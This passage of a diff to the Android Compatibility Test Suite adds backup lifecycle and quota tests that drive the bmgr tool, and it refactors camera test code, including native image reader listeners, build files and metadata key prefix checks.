+public class FullBackupLifecycleTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.app";
+
+ private static final int LOCAL_TRANSPORT_CONFORMING_FILE_SIZE = 5 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testExpectedMethodsCalledInOrder() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String backupSeparator = clearLogcat();
+
+ // Make sure there's something to backup
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
+
+ // Request backup and wait for it to complete
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS,
+ backupSeparator,
+ "onCreate",
+ "Full backup requested",
+ "onDestroy");
+
+ String restoreSeparator = clearLogcat();
+
+ // Now request restore and wait for it to complete
+ exec("bmgr restore " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS,
+ restoreSeparator,
+ "onCreate",
+ "onRestoreFile",
+ "onRestoreFinished",
+ "onDestroy");
+ }
+
+}
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
new file mode 100644
index 0000000..3924e87
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies receiving quotaExceeded() callback on full backup.
+ *
+ * Uses test app that creates large file and receives the callback.
+ * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
+ */
+public class FullBackupQuotaTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.app";
+
+ // Should be the same as LocalTransport.FULL_BACKUP_SIZE_QUOTA
+ private static final int LOCAL_TRANSPORT_BACKUP_QUOTA = 25 * 1024 * 1024;
+ private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 30 * 1024 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testQuotaExceeded() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String separator = clearLogcat();
+ // Launch test app and create file exceeding limit for local transport
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
+
+ // Request backup and wait for quota exceeded event in logcat
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS,separator,
+ "Quota exceeded!");
+ }
+
+ public void testQuotaReported() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ // get the app out of (possibly) stopped state so that backup can be run
+ exec("cmd activity broadcast -a android.backup.app.ACTION_WAKE_UP " +
+ "-n android.backup.app/.WakeUpReceiver");
+
+ // give it 3s for the broadcast to be delivered
+ try {
+ Thread.sleep(3000);
+ } catch (InterruptedException e) {}
+
+ String separator = clearLogcat();
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS,separator,
+ "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
+ }
+
+}
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
new file mode 100644
index 0000000..d957bbc
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies that key methods are called in expected order during backup / restore.
+ */
+public class KeyValueLifecycleTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.kvapp";
+
+ private static final int LOCAL_TRANSPORT_CONFORMING_FILE_SIZE = 5 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testExpectedMethodsCalledInOrder() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String backupSeparator = clearLogcat();
+
+ // Make sure there's something to backup
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
+
+ // Request backup and wait for it to complete
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS,backupSeparator,
+ "onCreate",
+ "Backup requested",
+ "onDestroy");
+
+ String restoreSeparator = clearLogcat();
+
+ // Now request restore and wait for it to complete
+ exec("bmgr restore " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS, restoreSeparator,
+ "onCreate",
+ "Restore requested",
+ "onRestoreFinished",
+ "onDestroy");
+ }
+
+}
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
new file mode 100644
index 0000000..ceaa18e
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies receiving quotaExceeded() callback on full backup.
+ *
+ * Uses test app that creates large file and receives the callback.
+ * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
+ */
+public class KeyValueQuotaTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.kvapp";
+
+ // Should be the same as LocalTransport. KEY_VALUE_BACKUP_SIZE_QUOTA
+ private static final int LOCAL_TRANSPORT_BACKUP_QUOTA = 5 * 1024 * 1024;
+ private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 6 * 1024 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testQuotaExceeded() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String separator = clearLogcat();
+ // Launch test app and create file exceeding limit for local transport
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
+
+ // Request backup and wait for quota exceeded event in logcat
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS, separator,
+ "Quota exceeded!");
+ }
+
+ public void testQuotaReported() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ // Launch the main activity so the app qualifies for backup.
+ createTestFileOfSize(BACKUP_APP_NAME, 1);
+
+ String separator = clearLogcat();
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS, separator,
+ "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
+ }
+
+}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index af7474e..c8ba9cd 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -29,7 +29,7 @@
LOCAL_MODULE := CtsCameraUtils
LOCAL_SDK_VERSION := current
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_STATIC_JAVA_LIBRARY)
# CtsCameraTestCases package
@@ -58,7 +58,7 @@
$(call all-renderscript-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsCameraTestCases
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
index f757491..a848031 100644
--- a/tests/camera/api25test/Android.mk
+++ b/tests/camera/api25test/Android.mk
@@ -38,7 +38,7 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/camera/api25test/AndroidTest.xml b/tests/camera/api25test/AndroidTest.xml
index f2b5213..a7b2ae7 100644
--- a/tests/camera/api25test/AndroidTest.xml
+++ b/tests/camera/api25test/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Camera API 25 test cases">
<option name="config-descriptor:metadata" key="component" value="camera" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCameraApi25TestCases.apk" />
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 4b80553..e6a078f 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -27,8 +27,6 @@
LOCAL_C_INCLUDES := \
$(JNI_H_INCLUDE) \
system/core/include \
- frameworks/av/include/camera/ndk \
- frameworks/av/include/ndk \
# Flags needed by DNG SDK
LOCAL_CFLAGS := -DUNIX_ENV=1 -DqDNGBigEndian=0 -DqDNGThreadSafe=1 -DqDNGUseLibJPEG=1 -DqDNGUseXMP=0 -DqDNGValidate=1 -DqDNGValidateTarget=1 -DqAndroid=1 -fexceptions -Wsign-compare -Wno-reorder -Wframe-larger-than=20000
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 96b9ea1..b2124ce 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -29,12 +29,12 @@
#include <android/native_window_jni.h>
-#include "NdkCameraError.h"
-#include "NdkCameraManager.h"
-#include "NdkCameraDevice.h"
-#include "NdkCameraCaptureSession.h"
-#include "NdkImage.h"
-#include "NdkImageReader.h"
+#include "camera/NdkCameraError.h"
+#include "camera/NdkCameraManager.h"
+#include "camera/NdkCameraDevice.h"
+#include "camera/NdkCameraCaptureSession.h"
+#include "media/NdkImage.h"
+#include "media/NdkImageReader.h"
#define LOG_ERROR(buf, ...) sprintf(buf, __VA_ARGS__); \
ALOGE("%s", buf);
@@ -238,9 +238,11 @@
int mOnActive = 0;
};
+
class ImageReaderListener {
public:
- static void onImageAvailable(void* obj, AImageReader* reader) {
+ // count, acquire, validate, and delete AImage when a new image is available
+ static void validateImageCb(void* obj, AImageReader* reader) {
ALOGV("%s", __FUNCTION__);
if (obj == nullptr) {
return;
@@ -320,6 +322,27 @@
AImage_delete(img);
}
+ // count, acquire image but not delete the image
+ static void acquireImageCb(void* obj, AImageReader* reader) {
+ ALOGV("%s", __FUNCTION__);
+ if (obj == nullptr) {
+ return;
+ }
+ ImageReaderListener* thiz = reinterpret_cast<ImageReaderListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mOnImageAvailableCount++;
+
+ // Acquire, but not closing.
+ AImage* img = nullptr;
+ media_status_t ret = AImageReader_acquireNextImage(reader, &img);
+ if (ret != AMEDIA_OK || img == nullptr) {
+ ALOGE("%s: acquire image from reader %p failed! ret: %d, img %p",
+ __FUNCTION__, reader, ret, img);
+ return;
+ }
+ return;
+ }
+
int onImageAvailableCount() {
std::lock_guard<std::mutex> lock(mMutex);
return mOnImageAvailableCount;
@@ -330,12 +353,6 @@
mDumpFilePathBase = path;
}
- void reset() {
- std::lock_guard<std::mutex> lock(mMutex);
- mOnImageAvailableCount = 0;
- mDumpFilePathBase = nullptr;
- }
-
private:
// TODO: add mReader to make sure each listener is associated to one reader?
std::mutex mMutex;
@@ -383,7 +400,6 @@
// Free all resources except camera manager
void resetCamera() {
- mReaderListener.reset();
mSessionListener.reset();
if (mSession) {
ACameraCaptureSession_close(mSession);
@@ -509,7 +525,8 @@
}
media_status_t initImageReaderWithErrorLog(
- int32_t width, int32_t height, int32_t format, int32_t maxImages) {
+ int32_t width, int32_t height, int32_t format, int32_t maxImages,
+ AImageReader_ImageListener* listener) {
if (mImgReader || mImgReaderAnw) {
LOG_ERROR(errorString, "Cannot init image reader before closing existing one");
return AMEDIA_ERROR_UNKNOWN;
@@ -527,8 +544,7 @@
return AMEDIA_ERROR_UNKNOWN;
}
- ret = AImageReader_setImageListener(
- mImgReader, &mReaderCb);
+ ret = AImageReader_setImageListener(mImgReader, listener);
if (ret != AMEDIA_OK) {
LOG_ERROR(errorString, "Set AImageReader listener failed. ret %d", ret);
return ret;
@@ -749,14 +765,9 @@
mSession, nullptr, 1, &mStillRequest, &seqId);
}
- int getReaderImageCount() {
- return mReaderListener.onImageAvailableCount();
- }
-
camera_status_t resetWithErrorLog() {
camera_status_t ret;
- mReaderListener.reset();
closeSession();
for (int i = 0; i < 50; i++) {
@@ -785,10 +796,6 @@
return ACAMERA_OK;
}
- void setDumpFilePathBase(const char* path) {
- mReaderListener.setDumpFilePathBase(path);
- }
-
CaptureSessionListener* getSessionListener() {
return &mSessionListener;
}
@@ -821,13 +828,6 @@
CaptureSessionListener::onActive
};
- // TODO: capture listeners
- ImageReaderListener mReaderListener;
- AImageReader_ImageListener mReaderCb {
- &mReaderListener,
- ImageReaderListener::onImageAvailable
- };
-
ACameraIdList* mCameraIdList = nullptr;
ACameraDevice* mDevice = nullptr;
AImageReader* mImgReader = nullptr;
@@ -1577,11 +1577,8 @@
return pass;
}
-extern "C" jboolean
-Java_android_hardware_camera2_cts_NativeImageReaderTest_\
-testJpegNative(
- JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
- ALOGV("%s", __FUNCTION__);
+bool nativeImageReaderTestBase(
+ JNIEnv* env, jstring jOutPath, AImageReader_ImageCallback cb) {
const int NUM_TEST_IMAGES = 10;
const int TEST_WIDTH = 640;
const int TEST_HEIGHT = 480;
@@ -1590,9 +1587,11 @@
bool pass = false;
PreviewTestCase testCase;
- const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
- testCase.setDumpFilePathBase(outPath);
- ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+ const char* outPath = (jOutPath == nullptr) ? nullptr :
+ env->GetStringUTFChars(jOutPath, nullptr);
+ if (outPath != nullptr) {
+ ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+ }
camera_status_t ret = testCase.initWithErrorLog();
if (ret != ACAMERA_OK) {
@@ -1626,8 +1625,13 @@
goto cleanup;
}
+ ImageReaderListener readerListener;
+ AImageReader_ImageListener readerCb { &readerListener, cb };
+ readerListener.setDumpFilePathBase(outPath);
+
mediaRet = testCase.initImageReaderWithErrorLog(
- TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+ TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+ &readerCb);
if (mediaRet != AMEDIA_OK) {
// Don't log error here. testcase did it
goto cleanup;
@@ -1658,16 +1662,16 @@
// wait until all capture finished
for (int i = 0; i < 50; i++) {
usleep(100000); // sleep 100ms
- if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
ALOGI("Session take ~%d ms to capture %d images",
i*100, NUM_TEST_IMAGES);
break;
}
}
- if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
- cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+ cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
goto cleanup;
}
@@ -1694,7 +1698,9 @@
pass = true;
cleanup:
- env->ReleaseStringUTFChars(jOutPath, outPath);
+ if (outPath != nullptr) {
+ env->ReleaseStringUTFChars(jOutPath, outPath);
+ }
ALOGI("%s %s", __FUNCTION__, pass ? "pass" : "failed");
if (!pass) {
throwAssertionError(env, errorString);
@@ -1702,6 +1708,23 @@
return pass;
}
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testJpegNative(
+ JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
+ ALOGV("%s", __FUNCTION__);
+ return nativeImageReaderTestBase(env, jOutPath, ImageReaderListener::validateImageCb);
+}
+
+
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testImageReaderCloseAcquiredImagesNative(
+ JNIEnv* env, jclass /*clazz*/) {
+ ALOGV("%s", __FUNCTION__);
+ return nativeImageReaderTestBase(env, nullptr, ImageReaderListener::acquireImageCb);
+}
+
extern "C" jboolean
Java_android_hardware_camera2_cts_NativeStillCaptureTest_\
@@ -1717,7 +1740,6 @@
PreviewTestCase testCase;
const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
- testCase.setDumpFilePathBase(outPath);
ALOGI("%s: out path is %s", __FUNCTION__, outPath);
camera_status_t ret = testCase.initWithErrorLog();
@@ -1752,8 +1774,15 @@
goto cleanup;
}
+ ImageReaderListener readerListener;
+ AImageReader_ImageListener readerCb {
+ &readerListener,
+ ImageReaderListener::validateImageCb
+ };
+ readerListener.setDumpFilePathBase(outPath);
mediaRet = testCase.initImageReaderWithErrorLog(
- TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+ TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+ &readerCb);
if (mediaRet != AMEDIA_OK) {
// Don't log error here. testcase did it
goto cleanup;
@@ -1799,16 +1828,16 @@
// wait until all capture finished
for (int i = 0; i < 50; i++) {
usleep(100000); // sleep 100ms
- if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
ALOGI("Session take ~%d ms to capture %d images",
i*100, NUM_TEST_IMAGES);
break;
}
}
- if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
- cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+ cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
goto cleanup;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 482c62f..11071fc 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -16,9 +16,9 @@
package android.hardware.camera2.cts;
-import static org.mockito.AdditionalMatchers.and;
-import static org.mockito.AdditionalMatchers.not;
import static org.mockito.Mockito.*;
+import static org.mockito.AdditionalMatchers.not;
+import static org.mockito.AdditionalMatchers.and;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -33,14 +33,17 @@
import android.os.HandlerThread;
import android.test.AndroidTestCase;
import android.util.Log;
+
import com.android.ex.camera2.blocking.BlockingStateCallback;
+
+import org.mockito.ArgumentCaptor;
+import org.mockito.InOrder;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.concurrent.LinkedBlockingQueue;
-import org.mockito.ArgumentCaptor;
-import org.mockito.InOrder;
/**
* <p>Basic test for CameraManager class.</p>
@@ -120,7 +123,7 @@
return -1; // unreachable
}
-
+
public void testCameraManagerGetDeviceIdList() throws Exception {
// Test: that the getCameraIdList method runs without exceptions.
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 20070a7..000edcd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -36,17 +36,18 @@
import android.util.Rational;
import android.util.Range;
import android.util.Size;
+import android.util.Patterns;
import android.view.Surface;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Extended tests for static camera characteristics.
*/
@@ -55,7 +56,6 @@
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private static final String PREFIX_ANDROID = "android";
- private static final String PREFIX_VENDOR = "com";
/*
* Constants for static RAW metadata.
@@ -141,7 +141,6 @@
/**
* Test that the available stream configurations contain a few required formats and sizes.
*/
- @CddTest(requirement="7.5.4/C-0-4,7.5.2/C-1-2,7.5.1/C-1-2")
public void testAvailableStreamConfigs() {
int counter = 0;
for (CameraCharacteristics c : mCharacteristics) {
@@ -944,7 +943,6 @@
/**
* Cross-check StreamConfigurationMap output
*/
- @CddTest(requirement="7.5.4/C-0-4")
public void testStreamConfigurationMap() throws Exception {
int counter = 0;
for (CameraCharacteristics c : mCharacteristics) {
@@ -1329,7 +1327,6 @@
*
* @return value of the {@code key} from {@code c}
*/
- @CddTest(requirement="7.5.4/C-0-7,C-0-8")
private <T> T expectKeyAvailable(CameraCharacteristics c, CameraCharacteristics.Key<T> key,
int hwLevel, int... capabilities) {
@@ -1425,15 +1422,12 @@
}
/**
- * The key name has a prefix of either "android." or "com."; other prefixes are not valid.
+ * The key name has a prefix of either "android." or a valid TLD; other prefixes are not valid.
*/
private static void assertKeyPrefixValid(String keyName) {
- assertStartsWithAnyOf(
+ assertStartsWithAndroidOrTLD(
"All metadata keys must start with 'android.' (built-in keys) " +
- "or 'com.' (vendor-extended keys)", new String[] {
- PREFIX_ANDROID + ".",
- PREFIX_VENDOR + ".",
- }, keyName);
+ "or valid TLD (vendor-extended keys)", keyName);
}
private static void assertTrueForKey(String msg, CameraCharacteristics.Key<?> key,
@@ -1452,15 +1446,21 @@
msg, Arrays.toString(expected), actual));
}
- private static <T> void assertStartsWithAnyOf(String msg, String[] expected, String actual) {
- for (int i = 0; i < expected.length; ++i) {
- if (actual.startsWith(expected[i])) {
+ private static <T> void assertStartsWithAndroidOrTLD(String msg, String keyName) {
+ String delimiter = ".";
+ if (keyName.startsWith(PREFIX_ANDROID + delimiter)) {
+ return;
+ }
+ Pattern tldPattern = Pattern.compile(Patterns.TOP_LEVEL_DOMAIN_STR);
+ Matcher match = tldPattern.matcher(keyName);
+ if (match.find(0) && (0 == match.start()) && (!match.hitEnd())) {
+ if (keyName.regionMatches(match.end(), delimiter, 0, delimiter.length())) {
return;
}
}
- fail(String.format("%s: (expected to start with any of %s, but value was %s)",
- msg, Arrays.toString(expected), actual));
+ fail(String.format("%s: (expected to start with %s or valid TLD, but value was %s)",
+ msg, PREFIX_ANDROID + delimiter, keyName));
}
/** Return a positive int if left > right, 0 if left==right, negative int if left < right */
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
index 7e4508a..b018645 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
@@ -38,5 +38,11 @@
testJpegNative(DEBUG_FILE_NAME_BASE));
}
+ public void testImageReaderCloseAcquiredImages() {
+ assertTrue("testImageReaderClose fail, see log for details",
+ testImageReaderCloseAcquiredImagesNative());
+ }
+
private static native boolean testJpegNative(String filePath);
+ private static native boolean testImageReaderCloseAcquiredImagesNative();
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index a900b84..24cb6bd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -146,6 +146,7 @@
assertTrue("Camera does not contain outputted image resolution " + actualSize,
testSizes.contains(actualSize));
+ imageReader.close();
} finally {
closeDevice(id);
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 3d785d1..9f51fdf 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -46,7 +46,6 @@
import com.android.ex.camera2.blocking.BlockingSessionCallback;
import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
-import com.android.compatibility.common.util.CddTest;
import java.io.ByteArrayOutputStream;
import java.util.ArrayList;
@@ -483,7 +482,6 @@
* the devices.
* </p>
*/
- @CddTest(requirement="7.5/C-1-2")
public void testAllocateBitmap() throws Exception {
for (String id : mCameraIds) {
try {
@@ -626,6 +624,7 @@
focuser = new Camera2Focuser(mCamera, mSession, mPreviewSurface, afListener,
mStaticInfo.getCharacteristics(), mHandler);
if (canSetAfRegion) {
+ previewRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
stillRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
}
focuser.startAutoFocus(afRegions);
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 4341242..3b697ce 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -44,7 +44,7 @@
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
import android.view.SurfaceHolder;
-import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -57,6 +57,7 @@
import java.util.Iterator;
import java.util.List;
import java.util.TimeZone;
+
import junit.framework.AssertionFailedError;
/**
@@ -382,7 +383,7 @@
terminateMessageLooper();
}
}
- @CddTest(requirement="7.5.4/C-0-5")
+
private void subtestTakePictureByCamera(boolean isVideoSnapshot,
int videoWidth, int videoHeight) throws Exception {
int videoSnapshotMinArea =
@@ -582,7 +583,6 @@
}
// Also test Camera.Parameters
- @CddTest(requirement="[7.5.4/C-0-1,C-0-2,C-0-3,C-0-6")
private void assertParameters(Parameters parameters) {
// Parameters constants
final int PICTURE_FORMAT = ImageFormat.JPEG;
@@ -1716,7 +1716,6 @@
distances2[Parameters.FOCUS_DISTANCE_FAR_INDEX]);
}
- @CddTest(requirement="7.5.2/C-1-3")
@UiThreadTest
public void testMultipleCameras() throws Exception {
int nCameras = Camera.getNumberOfCameras();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
index e8d5837..aa048cf 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
@@ -25,17 +25,15 @@
import android.media.Image;
import android.util.Log;
import android.util.Size;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.Matcher;
-import org.junit.rules.ErrorCollector;
-
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Objects;
import java.util.Set;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Matcher;
+import org.junit.rules.ErrorCollector;
/**
* A camera test ErrorCollector class to gather the test failures during a test,
@@ -891,7 +889,7 @@
if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
return;
}
- String reason = "Key " + key.getName() + " value " + value
+ String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
+ " doesn't contain the expected value " + expected;
expectContains(reason, value, expected);
}
@@ -909,7 +907,7 @@
if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
return;
}
- String reason = "Key " + key.getName() + " value " + value
+ String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
+ " doesn't contain the expected value " + expected;
expectContains(reason, value, expected);
}
@@ -927,7 +925,7 @@
if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
return;
}
- String reason = "Key " + key.getName() + " value " + value
+ String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
+ " doesn't contain the expected value " + expected;
expectContains(reason, value, expected);
}
@@ -948,7 +946,7 @@
public <T> void expectContains(T[] values, T expected) {
String reason = "Expected value " + expected
- + " is not contained in the given values " + values;
+ + " is not contained in the given values " + Arrays.toString(values);
expectContains(reason, values, expected);
}
@@ -984,7 +982,7 @@
public void expectContains(int[] values, int expected) {
String reason = "Expected value " + expected
- + " is not contained in the given values " + values;
+ + " is not contained in the given values " + Arrays.toString(values);
expectContains(reason, values, expected);
}
@@ -1028,7 +1026,7 @@
*/
public void expectContains(boolean[] values, boolean expected) {
